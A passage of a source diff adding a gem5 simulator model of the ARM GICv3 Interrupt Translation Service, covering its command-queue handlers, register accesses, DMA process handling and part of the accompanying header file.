its.collectionOutOfRange(collection_id)) {\n+ terminate(yield);\n+ }\n+\n+ CTE cte = readIrqCollectionTable(yield, collection_id);\n+\n+ if (!cte.valid) {\n+ terminate(yield);\n+ }\n+\n+ // Returning the INTID and the target Redistributor\n+ return std::make_pair(itte.intNum, its.getRedistributor(cte));\n+}\n+\n+ItsCommand::DispatchTable ItsCommand::cmdDispatcher =\n+{\n+ COMMAND(CLEAR, &ItsCommand::clear),\n+ COMMAND(DISCARD, &ItsCommand::discard),\n+ COMMAND(INT, &ItsCommand::doInt),\n+ COMMAND(INV, &ItsCommand::inv),\n+ COMMAND(INVALL, &ItsCommand::invall),\n+ COMMAND(MAPC, &ItsCommand::mapc),\n+ COMMAND(MAPD, &ItsCommand::mapd),\n+ COMMAND(MAPI, &ItsCommand::mapi),\n+ COMMAND(MAPTI, &ItsCommand::mapti),\n+ COMMAND(MOVALL, &ItsCommand::movall),\n+ COMMAND(MOVI, &ItsCommand::movi),\n+ COMMAND(SYNC, &ItsCommand::sync),\n+ COMMAND(VINVALL, &ItsCommand::vinvall),\n+ COMMAND(VMAPI, &ItsCommand::vmapi),\n+ COMMAND(VMAPP, &ItsCommand::vmapp),\n+ COMMAND(VMAPTI, &ItsCommand::vmapti),\n+ COMMAND(VMOVI, &ItsCommand::vmovi),\n+ COMMAND(VMOVP, &ItsCommand::vmovp),\n+ COMMAND(VSYNC, &ItsCommand::vsync),\n+};\n+\n+ItsCommand::ItsCommand(Gicv3Its &_its)\n+ : ItsProcess(_its)\n+{\n+ reinit();\n+ its.pendingCommands = true;\n+}\n+\n+ItsCommand::~ItsCommand()\n+{\n+ its.pendingCommands = false;\n+}\n+\n+std::string\n+ItsCommand::commandName(uint32_t cmd)\n+{\n+ const auto entry = cmdDispatcher.find(cmd);\n+ return entry != cmdDispatcher.end() ? entry->second.name : \"INVALID\";\n+}\n+\n+void\n+ItsCommand::main(Yield &yield)\n+{\n+ ItsAction a;\n+ a.type = ItsActionType::INITIAL_NOP;\n+ a.pkt = nullptr;\n+ a.delay = 0;\n+ yield(a);\n+\n+ while (its.gitsCwriter.offset != its.gitsCreadr.offset) {\n+ CommandEntry command;\n+\n+ // Reading the command from CMDQ\n+ readCommand(yield, command);\n+\n+ processCommand(yield, command);\n+\n+ its.incrementReadPointer();\n+ }\n+\n+ terminate(yield);\n+}\n+\n+void\n+ItsCommand::readCommand(Yield &yield, CommandEntry &command)\n+{\n+ // read the command pointed by GITS_CREADR\n+ const Addr cmd_addr =\n+ (its.gitsCbaser.physAddr << 12) + (its.gitsCreadr.offset << 5);\n+\n+ doRead(yield, cmd_addr, &command, sizeof(command));\n+\n+ DPRINTF(ITS, \"Command %s read from queue at address: %#x\\n\",\n+ commandName(command.type), cmd_addr);\n+ DPRINTF(ITS, \"dw0: %#x dw1: %#x dw2: %#x dw3: %#x\\n\",\n+ command.raw[0], command.raw[1], command.raw[2], command.raw[3]);\n+}\n+\n+void\n+ItsCommand::processCommand(Yield &yield, CommandEntry &command)\n+{\n+ const auto entry = cmdDispatcher.find(command.type);\n+\n+ if (entry != cmdDispatcher.end()) {\n+ // Execute the command\n+ entry->second.exec(this, yield, command);\n+ } else {\n+ panic(\"Unrecognized command type: %u\", command.type);\n+ }\n+}\n+\n+void\n+ItsCommand::clear(Yield &yield, CommandEntry &command)\n+{\n+ if (deviceOutOfRange(command)) {\n+ its.incrementReadPointer();\n+ terminate(yield);\n+ }\n+\n+ DTE dte = readDeviceTable(yield, command.deviceId);\n+\n+ if (!dte.valid || idOutOfRange(command, dte)) {\n+ its.incrementReadPointer();\n+ terminate(yield);\n+ }\n+\n+ ITTE itte = readIrqTranslationTable(\n+ yield, dte.ittAddress, command.eventId);\n+\n+ if (!itte.valid) {\n+ its.incrementReadPointer();\n+ terminate(yield);\n+ }\n+\n+ const auto collection_id = itte.icid;\n+ CTE cte = readIrqCollectionTable(yield, collection_id);\n+\n+ if (!cte.valid) {\n+ its.incrementReadPointer();\n+ terminate(yield);\n+ }\n+\n+ // Clear the LPI in the redistributor\n+ its.getRedistributor(cte)->setClrLPI(itte.intNum, false);\n+}\n+\n+void\n+ItsCommand::discard(Yield &yield, CommandEntry &command)\n+{\n+ if (deviceOutOfRange(command)) {\n+ its.incrementReadPointer();\n+ terminate(yield);\n+ }\n+\n+ DTE dte = readDeviceTable(yield, command.deviceId);\n+\n+ if (!dte.valid || idOutOfRange(command, dte)) {\n+ its.incrementReadPointer();\n+ terminate(yield);\n+ }\n+\n+ ITTE itte = readIrqTranslationTable(\n+ yield, dte.ittAddress, command.eventId);\n+\n+ if (!itte.valid) {\n+ its.incrementReadPointer();\n+ terminate(yield);\n+ }\n+\n+ const auto collection_id = itte.icid;\n+ Gicv3Its::CTE cte = readIrqCollectionTable(yield, collection_id);\n+\n+ if (!cte.valid) {\n+ its.incrementReadPointer();\n+ terminate(yield);\n+ }\n+\n+ its.getRedistributor(cte)->setClrLPI(itte.intNum, false);\n+\n+ // Then removes the mapping from the ITT (invalidating)\n+ itte.valid = 0;\n+ writeIrqTranslationTable(\n+ yield, dte.ittAddress, command.eventId, itte);\n+}\n+\n+void\n+ItsCommand::doInt(Yield &yield, CommandEntry &command)\n+{\n+ if (deviceOutOfRange(command)) {\n+ its.incrementReadPointer();\n+ terminate(yield);\n+ }\n+\n+ DTE dte = readDeviceTable(yield, command.deviceId);\n+\n+ if (!dte.valid || idOutOfRange(command, dte)) {\n+ its.incrementReadPointer();\n+ terminate(yield);\n+ }\n+\n+ ITTE itte = readIrqTranslationTable(\n+ yield, dte.ittAddress, command.eventId);\n+\n+ if (!itte.valid) {\n+ its.incrementReadPointer();\n+ terminate(yield);\n+ }\n+\n+ const auto collection_id = itte.icid;\n+ CTE cte = readIrqCollectionTable(yield, collection_id);\n+\n+ if (!cte.valid) {\n+ its.incrementReadPointer();\n+ terminate(yield);\n+ }\n+\n+ // Set the LPI in the redistributor\n+ its.getRedistributor(cte)->setClrLPI(itte.intNum, true);\n+}\n+\n+void\n+ItsCommand::inv(Yield &yield, CommandEntry &command)\n+{\n+ if (deviceOutOfRange(command)) {\n+ its.incrementReadPointer();\n+ terminate(yield);\n+ }\n+\n+ DTE dte = readDeviceTable(yield, command.deviceId);\n+\n+ if (!dte.valid || idOutOfRange(command, dte)) {\n+ its.incrementReadPointer();\n+ terminate(yield);\n+ }\n+\n+ ITTE itte = readIrqTranslationTable(\n+ yield, dte.ittAddress, command.eventId);\n+\n+ if (!itte.valid) {\n+ its.incrementReadPointer();\n+ terminate(yield);\n+ }\n+\n+ const auto collection_id = itte.icid;\n+ CTE cte = readIrqCollectionTable(yield, collection_id);\n+\n+ if (!cte.valid) {\n+ its.incrementReadPointer();\n+ terminate(yield);\n+ }\n+ // Do nothing since caching is currently not supported in\n+ // Redistributor\n+}\n+\n+void\n+ItsCommand::invall(Yield &yield, CommandEntry &command)\n+{\n+ if (collectionOutOfRange(command)) {\n+ its.incrementReadPointer();\n+ terminate(yield);\n+ }\n+\n+ const auto icid = bits(command.raw[2], 15, 0);\n+\n+ CTE cte = readIrqCollectionTable(yield, icid);\n+\n+ if (!cte.valid) {\n+ its.incrementReadPointer();\n+ terminate(yield);\n+ }\n+ // Do nothing since caching is currently not supported in\n+ // Redistributor\n+}\n+\n+void\n+ItsCommand::mapc(Yield &yield, CommandEntry &command)\n+{\n+ if (collectionOutOfRange(command)) {\n+ its.incrementReadPointer();\n+ terminate(yield);\n+ }\n+\n+ CTE cte = 0;\n+ cte.valid = bits(command.raw[2], 63);\n+ cte.rdBase = bits(command.raw[2], 50, 16);\n+\n+ const auto icid = bits(command.raw[2], 15, 0);\n+\n+ writeIrqCollectionTable(yield, icid, cte);\n+}\n+\n+void\n+ItsCommand::mapd(Yield &yield, CommandEntry &command)\n+{\n+ if (deviceOutOfRange(command) || sizeOutOfRange(command)) {\n+ its.incrementReadPointer();\n+ terminate(yield);\n+ }\n+\n+ DTE dte = 0;\n+ dte.valid = bits(command.raw[2], 63);\n+ dte.ittAddress = mbits(command.raw[2], 51, 8);\n+ dte.ittRange = bits(command.raw[1], 4, 0);\n+\n+ writeDeviceTable(yield, command.deviceId, dte);\n+}\n+\n+void\n+ItsCommand::mapi(Yield &yield, CommandEntry &command)\n+{\n+ if (deviceOutOfRange(command)) {\n+ its.incrementReadPointer();\n+ terminate(yield);\n+ }\n+\n+ if (collectionOutOfRange(command)) {\n+ its.incrementReadPointer();\n+ terminate(yield);\n+ }\n+\n+ DTE dte = readDeviceTable(yield, command.deviceId);\n+\n+ if (!dte.valid || idOutOfRange(command, dte) ||\n+ its.lpiOutOfRange(command.eventId)) {\n+\n+ its.incrementReadPointer();\n+ terminate(yield);\n+ }\n+\n+ Gicv3Its::ITTE itte = readIrqTranslationTable(\n+ yield, dte.ittAddress, command.eventId);\n+\n+ itte.valid = 1;\n+ itte.intType = Gicv3Its::PHYSICAL_INTERRUPT;\n+ itte.intNum = command.eventId;\n+ itte.icid = bits(command.raw[2], 15, 0);\n+\n+ writeIrqTranslationTable(\n+ yield, dte.ittAddress, command.eventId, itte);\n+}\n+\n+void\n+ItsCommand::mapti(Yield &yield, CommandEntry &command)\n+{\n+ if (deviceOutOfRange(command)) {\n+ its.incrementReadPointer();\n+ terminate(yield);\n+ }\n+\n+ if (collectionOutOfRange(command)) {\n+ its.incrementReadPointer();\n+ terminate(yield);\n+ }\n+\n+ DTE dte = readDeviceTable(yield, command.deviceId);\n+\n+ const auto pintid = bits(command.raw[1], 63, 32);\n+\n+ if (!dte.valid || idOutOfRange(command, dte) ||\n+ its.lpiOutOfRange(pintid)) {\n+\n+ its.incrementReadPointer();\n+ terminate(yield);\n+ }\n+\n+ ITTE itte = readIrqTranslationTable(\n+ yield, dte.ittAddress, command.eventId);\n+\n+ itte.valid = 1;\n+ itte.intType = Gicv3Its::PHYSICAL_INTERRUPT;\n+ itte.intNum = pintid;\n+ itte.icid = bits(command.raw[2], 15, 0);\n+\n+ writeIrqTranslationTable(\n+ yield, dte.ittAddress, command.eventId, itte);\n+}\n+\n+void\n+ItsCommand::movall(Yield &yield, CommandEntry &command)\n+{\n+ const uint64_t rd1 = bits(command.raw[2], 50, 16);\n+ const uint64_t rd2 = bits(command.raw[3], 50, 16);\n+\n+ if (rd1 != rd2) {\n+ Gicv3Redistributor * redist1 = its.getRedistributor(rd1);\n+ Gicv3Redistributor * redist2 = its.getRedistributor(rd2);\n+\n+ its.moveAllPendingState(redist1, redist2);\n+ }\n+}\n+\n+void\n+ItsCommand::movi(Yield &yield, CommandEntry &command)\n+{\n+ if (deviceOutOfRange(command)) {\n+ its.incrementReadPointer();\n+ terminate(yield);\n+ }\n+\n+ if (collectionOutOfRange(command)) {\n+ its.incrementReadPointer();\n+ terminate(yield);\n+ }\n+\n+ DTE dte = readDeviceTable(yield, command.deviceId);\n+\n+ if (!dte.valid || idOutOfRange(command, dte)) {\n+ its.incrementReadPointer();\n+ terminate(yield);\n+ }\n+\n+ ITTE itte = readIrqTranslationTable(\n+ yield, dte.ittAddress, command.eventId);\n+\n+ if (!itte.valid || itte.intType == Gicv3Its::VIRTUAL_INTERRUPT) {\n+ its.incrementReadPointer();\n+ terminate(yield);\n+ }\n+\n+ const auto collection_id1 = itte.icid;\n+ CTE cte1 = readIrqCollectionTable(yield, collection_id1);\n+\n+ if (!cte1.valid) {\n+ its.incrementReadPointer();\n+ terminate(yield);\n+ }\n+\n+ const auto collection_id2 = bits(command.raw[2], 15, 0);\n+ CTE cte2 = readIrqCollectionTable(yield, collection_id2);\n+\n+ if (!cte2.valid) {\n+ its.incrementReadPointer();\n+ terminate(yield);\n+ }\n+\n+ Gicv3Redistributor *first_redist = its.getRedistributor(cte1);\n+ Gicv3Redistributor *second_redist = its.getRedistributor(cte2);\n+\n+ if (second_redist != first_redist) {\n+ // move pending state of the interrupt from one redistributor\n+ // to the other.\n+ if (first_redist->isPendingLPI(itte.intNum)) {\n+ first_redist->setClrLPI(itte.intNum, false);\n+ second_redist->setClrLPI(itte.intNum, true);\n+ }\n+ }\n+\n+ itte.icid = collection_id2;\n+ writeIrqTranslationTable(\n+ yield, dte.ittAddress, command.eventId, itte);\n+}\n+\n+void\n+ItsCommand::sync(Yield &yield, CommandEntry &command)\n+{\n+ warn(\"ITS %s command unimplemented\", __func__);\n+}\n+\n+void\n+ItsCommand::vinvall(Yield &yield, CommandEntry &command)\n+{\n+ panic(\"ITS %s command unimplemented\", __func__);\n+}\n+\n+void\n+ItsCommand::vmapi(Yield &yield, CommandEntry &command)\n+{\n+ panic(\"ITS %s command unimplemented\", __func__);\n+}\n+\n+void\n+ItsCommand::vmapp(Yield &yield, CommandEntry &command)\n+{\n+ panic(\"ITS %s command unimplemented\", __func__);\n+}\n+\n+void\n+ItsCommand::vmapti(Yield &yield, CommandEntry &command)\n+{\n+ panic(\"ITS %s command unimplemented\", __func__);\n+}\n+\n+void\n+ItsCommand::vmovi(Yield &yield, CommandEntry &command)\n+{\n+ panic(\"ITS %s command unimplemented\", __func__);\n+}\n+\n+void\n+ItsCommand::vmovp(Yield &yield, CommandEntry &command)\n+{\n+ panic(\"ITS %s command unimplemented\", __func__);\n+}\n+\n+void\n+ItsCommand::vsync(Yield &yield, CommandEntry &command)\n+{\n+ panic(\"ITS %s command unimplemented\", __func__);\n+}\n+\n+Gicv3Its::Gicv3Its(const Gicv3ItsParams *params)\n+ : BasicPioDevice(params, params->pio_size),\n+ dmaPort(name() + \".dma\", *this),\n+ gitsControl(0x1),\n+ gitsTyper(params->gits_typer),\n+ gitsCbaser(0), gitsCreadr(0),\n+ gitsCwriter(0), gitsIidr(0),\n+ masterId(params->system->getMasterId(this)),\n+ gic(nullptr),\n+ commandEvent([this] { checkCommandQueue(); }, name()),\n+ pendingCommands(false),\n+ pendingTranslations(0)\n+{\n+ for (auto idx = 0; idx < NUM_BASER_REGS; idx++) {\n+ BASER gits_baser = 0;\n+ gits_baser.type = idx;\n+ gits_baser.entrySize = sizeof(uint64_t) - 1;\n+ tableBases.push_back(gits_baser);\n+ }\n+}\n+\n+void\n+Gicv3Its::setGIC(Gicv3 *_gic)\n+{\n+ assert(!gic);\n+ gic = _gic;\n+}\n+\n+AddrRangeList\n+Gicv3Its::getAddrRanges() const\n+{\n+ assert(pioSize != 0);\n+ AddrRangeList ranges;\n+ DPRINTF(AddrRanges, \"registering range: %#x-%#x\\n\", pioAddr, pioSize);\n+ ranges.push_back(RangeSize(pioAddr, pioSize));\n+ return ranges;\n+}\n+\n+Tick\n+Gicv3Its::read(PacketPtr pkt)\n+{\n+ const Addr addr = pkt->getAddr() - pioAddr;\n+ uint64_t value = 0;\n+\n+ DPRINTF(GIC, \"%s register at addr: %#x\\n\", __func__, addr);\n+\n+ switch (addr) {\n+ case GITS_CTLR:\n+ value = gitsControl;\n+ break;\n+\n+ case GITS_IIDR:\n+ value = gitsIidr;\n+ break;\n+\n+ case GITS_TYPER:\n+ value = gitsTyper;\n+ break;\n+\n+ case GITS_CBASER:\n+ value = gitsCbaser;\n+ break;\n+\n+ case GITS_CWRITER:\n+ value = gitsCwriter;\n+ break;\n+\n+ case GITS_CREADR:\n+ value = gitsCreadr;\n+ break;\n+\n+ case GITS_TRANSLATER:\n+ value = gitsTranslater;\n+ break;\n+\n+ default:\n+ if (GITS_BASER.contains(addr)) {\n+ auto relative_addr = addr - GITS_BASER.start();\n+ auto baser_index = relative_addr / sizeof(uint64_t);\n+\n+ value = tableBases[baser_index];\n+ break;\n+ } else {\n+ panic(\"Unrecognized register access\\n\");\n+ }\n+ }\n+\n+ pkt->setUintX(value, LittleEndianByteOrder);\n+ pkt->makeAtomicResponse();\n+ return pioDelay;\n+}\n+\n+Tick\n+Gicv3Its::write(PacketPtr pkt)\n+{\n+ Addr addr = pkt->getAddr() - pioAddr;\n+\n+ DPRINTF(GIC, \"%s register at addr: %#x\\n\", __func__, addr);\n+\n+ switch (addr) {\n+ case GITS_CTLR:\n+ assert(pkt->getSize() == sizeof(uint32_t));\n+ gitsControl = pkt->getLE();\n+ break;\n+\n+ case GITS_IIDR:\n+ panic(\"GITS_IIDR is Read Only\\n\");\n+\n+ case GITS_TYPER:\n+ panic(\"GITS_TYPER is Read Only\\n\");\n+\n+ case GITS_CBASER:\n+ assert(pkt->getSize() == sizeof(uint64_t));\n+ gitsCbaser = pkt->getLE();\n+ gitsCreadr = 0; // Cleared when CBASER gets written\n+\n+ checkCommandQueue();\n+ break;\n+\n+ case GITS_CWRITER:\n+ assert(pkt->getSize() == sizeof(uint64_t));\n+ gitsCwriter = pkt->getLE();\n+\n+ checkCommandQueue();\n+ break;\n+\n+ case GITS_CREADR:\n+ panic(\"GITS_READR is Read Only\\n\");\n+\n+ case GITS_TRANSLATER:\n+ if (gitsControl.enabled) {\n+ translate(pkt);\n+ }\n+ break;\n+\n+ default:\n+ if (GITS_BASER.contains(addr)) {\n+ auto relative_addr = addr - GITS_BASER.start();\n+ auto baser_index = relative_addr / sizeof(uint64_t);\n+\n+ BASER val = pkt->getLE();\n+\n+ panic_if(val.indirect,\n+ \"We currently don't support two level ITS tables\");\n+\n+ tableBases[baser_index] = val;\n+ break;\n+ } else {\n+ panic(\"Unrecognized register access\\n\");\n+ }\n+ }\n+\n+ pkt->makeAtomicResponse();\n+ return pioDelay;\n+}\n+\n+bool\n+Gicv3Its::idOutOfRange(uint32_t event_id, uint8_t itt_range) const\n+{\n+ const uint32_t id_bits = gitsTyper.idBits;\n+ return event_id >= (1ULL << (id_bits + 1)) ||\n+ event_id >= ((1ULL << itt_range) + 1);\n+}\n+\n+bool\n+Gicv3Its::deviceOutOfRange(uint32_t device_id) const\n+{\n+ return device_id >= (1ULL << (gitsTyper.devBits + 1));\n+}\n+\n+bool\n+Gicv3Its::sizeOutOfRange(uint32_t size) const\n+{\n+ return size > gitsTyper.idBits;\n+}\n+\n+bool\n+Gicv3Its::collectionOutOfRange(uint32_t collection_id) const\n+{\n+ // If GITS_TYPER.CIL == 0, ITS supports 16-bit CollectionID\n+ // Otherwise, #bits is specified by GITS_TYPER.CIDbits\n+ const auto cid_bits = gitsTyper.cil == 0 ?\n+ 16 : gitsTyper.cidBits + 1;\n+\n+ return collection_id >= (1ULL << cid_bits);\n+}\n+\n+bool\n+Gicv3Its::lpiOutOfRange(uint32_t intid) const\n+{\n+ return intid >= (1ULL << (Gicv3Distributor::IDBITS + 1)) ||\n+ (intid < Gicv3Redistributor::SMALLEST_LPI_ID &&\n+ intid != Gicv3::INTID_SPURIOUS);\n+}\n+\n+DrainState\n+Gicv3Its::drain()\n+{\n+ if (!pendingCommands && !pendingTranslations) {\n+ return DrainState::Drained;\n+ } else {\n+ DPRINTF(Drain, \"GICv3 ITS not drained\\n\");\n+ return DrainState::Draining;\n+ }\n+}\n+\n+void\n+Gicv3Its::serialize(CheckpointOut & cp) const\n+{\n+ SERIALIZE_SCALAR(gitsControl);\n+ SERIALIZE_SCALAR(gitsTyper);\n+ SERIALIZE_SCALAR(gitsCbaser);\n+ SERIALIZE_SCALAR(gitsCreadr);\n+ SERIALIZE_SCALAR(gitsCwriter);\n+ SERIALIZE_SCALAR(gitsIidr);\n+\n+ SERIALIZE_CONTAINER(tableBases);\n+}\n+\n+void\n+Gicv3Its::unserialize(CheckpointIn & cp)\n+{\n+ UNSERIALIZE_SCALAR(gitsControl);\n+ UNSERIALIZE_SCALAR(gitsTyper);\n+ UNSERIALIZE_SCALAR(gitsCbaser);\n+ UNSERIALIZE_SCALAR(gitsCreadr);\n+ UNSERIALIZE_SCALAR(gitsCwriter);\n+ UNSERIALIZE_SCALAR(gitsIidr);\n+\n+ UNSERIALIZE_CONTAINER(tableBases);\n+}\n+\n+void\n+Gicv3Its::incrementReadPointer()\n+{\n+ // Make the reader point to the next element\n+ gitsCreadr.offset = gitsCreadr.offset + 1;\n+\n+ // Check for wrapping\n+ auto queue_end = (4096 * (gitsCbaser.size + 1));\n+\n+ if (gitsCreadr.offset == queue_end) {\n+ gitsCreadr.offset = 0;\n+ }\n+}\n+\n+void\n+Gicv3Its::checkCommandQueue()\n+{\n+ if (!gitsControl.enabled || !gitsCbaser.valid)\n+ return;\n+\n+ if (gitsCwriter.offset != gitsCreadr.offset) {\n+ // writer and reader pointing to different command\n+ // entries: queue not empty.\n+ DPRINTF(ITS, \"Reading command from queue\\n\");\n+\n+ if (!pendingCommands) {\n+ auto *cmd_proc = new ItsCommand(*this);\n+\n+ runProcess(cmd_proc, nullptr);\n+ } else {\n+ DPRINTF(ITS, \"Waiting for pending command to finish\\n\");\n+ }\n+ }\n+}\n+\n+Port &\n+Gicv3Its::getPort(const std::string &if_name, PortID idx)\n+{\n+ if (if_name == \"dma\") {\n+ return dmaPort;\n+ }\n+ return BasicPioDevice::getPort(if_name, idx);\n+}\n+\n+void\n+Gicv3Its::recvReqRetry()\n+{\n+ assert(!packetsToRetry.empty());\n+\n+ while (!packetsToRetry.empty()) {\n+ ItsAction a = packetsToRetry.front();\n+\n+ assert(a.type == ItsActionType::SEND_REQ);\n+\n+ if (!dmaPort.sendTimingReq(a.pkt))\n+ break;\n+\n+ packetsToRetry.pop();\n+ }\n+}\n+\n+bool\n+Gicv3Its::recvTimingResp(PacketPtr pkt)\n+{\n+ // @todo: We need to pay for this and not just zero it out\n+ pkt->headerDelay = pkt->payloadDelay = 0;\n+\n+ ItsProcess *proc =\n+ safe_cast(pkt->popSenderState());\n+\n+ runProcessTiming(proc, pkt);\n+\n+ return true;\n+}\n+\n+ItsAction\n+Gicv3Its::runProcess(ItsProcess *proc, PacketPtr pkt)\n+{\n+ if (sys->isAtomicMode()) {\n+ return runProcessAtomic(proc, pkt);\n+ } else if (sys->isTimingMode()) {\n+ return runProcessTiming(proc, pkt);\n+ } else {\n+ panic(\"Not in timing or atomic mode\\n\");\n+ }\n+}\n+\n+ItsAction\n+Gicv3Its::runProcessTiming(ItsProcess *proc, PacketPtr pkt)\n+{\n+ ItsAction action = proc->run(pkt);\n+\n+ switch (action.type) {\n+ case ItsActionType::SEND_REQ:\n+ action.pkt->pushSenderState(proc);\n+\n+ if (packetsToRetry.empty() &&\n+ dmaPort.sendTimingReq(action.pkt)) {\n+\n+ } else {\n+ packetsToRetry.push(action);\n+ }\n+ break;\n+\n+ case ItsActionType::TERMINATE:\n+ delete proc;\n+ if (!pendingCommands && !commandEvent.scheduled()) {\n+ schedule(commandEvent, clockEdge());\n+ }\n+ break;\n+\n+ default:\n+ panic(\"Unknown action\\n\");\n+ }\n+\n+ return action;\n+}\n+\n+ItsAction\n+Gicv3Its::runProcessAtomic(ItsProcess *proc, PacketPtr pkt)\n+{\n+ ItsAction action;\n+ Tick delay = 0;\n+ bool terminate = false;\n+\n+ do {\n+ action = proc->run(pkt);\n+\n+ switch (action.type) {\n+ case ItsActionType::SEND_REQ:\n+ delay += dmaPort.sendAtomic(action.pkt);\n+ pkt = action.pkt;\n+ break;\n+\n+ case ItsActionType::TERMINATE:\n+ delete proc;\n+ terminate = true;\n+ break;\n+\n+ default:\n+ panic(\"Unknown action\\n\");\n+ }\n+\n+ } while (!terminate);\n+\n+ action.delay = delay;\n+\n+ return action;\n+}\n+\n+void\n+Gicv3Its::translate(PacketPtr pkt)\n+{\n+ DPRINTF(ITS, \"Starting Translation Request\\n\");\n+\n+ auto *proc = new ItsTranslation(*this);\n+ runProcess(proc, pkt);\n+}\n+\n+Gicv3Redistributor*\n+Gicv3Its::getRedistributor(uint64_t rd_base)\n+{\n+ if (gitsTyper.pta == 1) {\n+ // RDBase is a redistributor address\n+ return gic->getRedistributorByAddr(rd_base << 16);\n+ } else {\n+ // RDBase is a redistributor number\n+ return gic->getRedistributor(rd_base);\n+ }\n+}\n+\n+Addr\n+Gicv3Its::pageAddress(Gicv3Its::ItsTables table)\n+{\n+ const BASER base = tableBases[table];\n+ // real address depends on page size\n+ switch (base.pageSize) {\n+ case SIZE_4K:\n+ case SIZE_16K:\n+ return mbits(base, 47, 12);\n+ case SIZE_64K:\n+ return mbits(base, 47, 16) | (bits(base, 15, 12) << 48);\n+ default:\n+ panic(\"Unsupported page size\\n\");\n+ }\n+}\n+\n+void\n+Gicv3Its::moveAllPendingState(\n+ Gicv3Redistributor *rd1, Gicv3Redistributor *rd2)\n+{\n+ const uint64_t largest_lpi_id = 1ULL << (rd1->lpiIDBits + 1);\n+ uint8_t lpi_pending_table[largest_lpi_id / 8];\n+\n+ // Copying the pending table from redistributor 1 to redistributor 2\n+ rd1->memProxy->readBlob(\n+ rd1->lpiPendingTablePtr, (uint8_t *)lpi_pending_table,\n+ sizeof(lpi_pending_table));\n+\n+ rd2->memProxy->writeBlob(\n+ rd2->lpiPendingTablePtr, (uint8_t *)lpi_pending_table,\n+ sizeof(lpi_pending_table));\n+\n+ // Clearing pending table in redistributor 2\n+ rd1->memProxy->memsetBlob(\n+ rd1->lpiPendingTablePtr,\n+ 0, sizeof(lpi_pending_table));\n+\n+ rd2->updateAndInformCPUInterface();\n+}\n+\n+Gicv3Its *\n+Gicv3ItsParams::create()\n+{\n+ return new Gicv3Its(this);\n+}\ndiff --git a/src/dev/arm/gic_v3_its.hh b/src/dev/arm/gic_v3_its.hh\nnew file mode 100644\nindex 000000000..aa0b8c805\n--- /dev/null\n+++ b/src/dev/arm/gic_v3_its.hh\n@@ -0,0 +1,518 @@\n+/*\n+ * Copyright (c) 2019 ARM Limited\n+ * All rights reserved\n+ *\n+ * The license below extends only to copyright in the software and shall\n+ * not be construed as granting a license to any other intellectual\n+ * property including but not limited to intellectual property relating\n+ * to a hardware implementation of the functionality of the software\n+ * licensed hereunder. You may use the software subject to the license\n+ * terms below provided that you ensure that this notice is replicated\n+ * unmodified and in its entirety in all distributions of the software,\n+ * modified or unmodified, in source code or in binary form.\n+ *\n+ * Redistribution and use in source and binary forms, with or without\n+ * modification, are permitted provided that the following conditions are\n+ * met: redistributions of source code must retain the above copyright\n+ * notice, this list of conditions and the following disclaimer;\n+ * redistributions in binary form must reproduce the above copyright\n+ * notice, this list of conditions and the following disclaimer in the\n+ * documentation and/or other materials provided with the distribution;\n+ * neither the name of the copyright holders nor the names of its\n+ * contributors may be used to endorse or promote products derived from\n+ * this software without specific prior written permission.\n+ *\n+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n+ * \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n+ * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n+ * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n+ * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n+ * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n+ * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n+ * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n+ * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n+ *\n+ * Authors: Giacomo Travaglini\n+ */\n+\n+#ifndef __DEV_ARM_GICV3_ITS_H__\n+#define __DEV_ARM_GICV3_ITS_H__\n+\n+#include \n+\n+#include \"base/coroutine.hh\"\n+#include \"dev/dma_device.hh\"\n+#include \"params/Gicv3Its.hh\"\n+\n+class Gicv3;\n+class Gicv3Redistributor;\n+class ItsProcess;\n+class ItsTranslation;\n+class ItsCommand;\n+\n+enum class ItsActionType\n+{\n+ INITIAL_NOP,\n+ SEND_REQ,\n+ TERMINATE,\n+};\n+\n+struct ItsAction\n+{\n+ ItsActionType type;\n+ PacketPtr pkt;\n+ Tick delay;\n+};\n+\n+/**\n+ * GICv3 ITS module. This class is just modelling a pio device with its\n+ * memory mapped registers. Most of the ITS functionalities are\n+ * implemented as processes (ItsProcess) objects, like ItsTranslation or\n+ * ItsCommand.\n+ * Main job of Gicv3Its is to spawn those processes upon receival of packets.\n+ */\n+class Gicv3Its : public BasicPioDevice\n+{\n+ friend class ::ItsProcess;\n+ friend class ::ItsTranslation;\n+ friend class ::ItsCommand;\n+ public:\n+ class DataPort : public MasterPort\n+ {\n+ protected:\n+ Gicv3Its &its;\n+\n+ public:\n+ DataPort(const std::string &_name, Gicv3Its &_its) :\n+ MasterPort(_name, &_its),\n+ its(_its)\n+ {}\n+\n+ virtual ~DataPort() {}\n+\n+ bool recvTimingResp(PacketPtr pkt) { return its.recvTimingResp(pkt); }\n+ void recvReqRetry() { return its.recvReqRetry(); }\n+ };\n+\n+ DataPort dmaPort;\n+\n+ Port & getPort(const std::string &if_name, PortID idx) override;\n+ bool recvTimingResp(PacketPtr pkt);\n+ void recvReqRetry();\n+\n+ Gicv3Its(const Gicv3ItsParams *params);\n+\n+ void setGIC(Gicv3 *_gic);\n+\n+ static const uint32_t itsControl = 0x0;\n+ static const uint32_t itsTranslate = 0x10000;\n+\n+ // Address range part of Control frame\n+ static const AddrRange GITS_BASER;\n+\n+ static const uint32_t NUM_BASER_REGS = 8;\n+\n+ enum : Addr\n+ {\n+ // Control frame\n+ GITS_CTLR = itsControl + 0x0000,\n+ GITS_IIDR = itsControl + 0x0004,\n+ GITS_TYPER = itsControl + 0x0008,\n+ GITS_CBASER = itsControl + 0x0080,\n+ GITS_CWRITER = itsControl + 0x0088,\n+ GITS_CREADR = itsControl + 0x0090,\n+\n+ // Translation frame\n+ GITS_TRANSLATER = itsTranslate 